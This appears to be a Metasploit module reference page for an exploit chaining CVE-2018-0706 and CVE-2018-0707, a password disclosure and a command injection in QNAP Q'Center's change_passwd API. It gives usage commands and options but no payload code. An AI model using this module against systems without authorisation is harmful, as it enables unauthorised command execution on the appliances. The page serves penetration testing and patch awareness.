List of CVEs: CVE-2018-0706, CVE-2018-0707
This module exploits a command injection vulnerability in
the change_passwd
API method within the web interface of
QNAP Q'Center virtual appliance versions prior to 1.7.1083.
The vulnerability allows the 'admin' privileged user account
to execute arbitrary commands as the 'admin' operating
system user. Valid credentials for the 'admin' user account
are required, however, this module also exploits a separate
password disclosure issue which allows any authenticated
user to view the password set for the 'admin' user during
first install. This module has been tested successfully on
QNAP Q'Center appliance version 1.6.1075.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/linux/http/qnap_qcenter_change_passwd_exec
msf exploit(qnap_qcenter_change_passwd_exec) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Description
This module exploits a command injection vulnerability in the
change_passwd
API method within the web interface of QNAP Q'Center
virtual appliance versions prior to 1.7.1083.
The vulnerability allows the admin
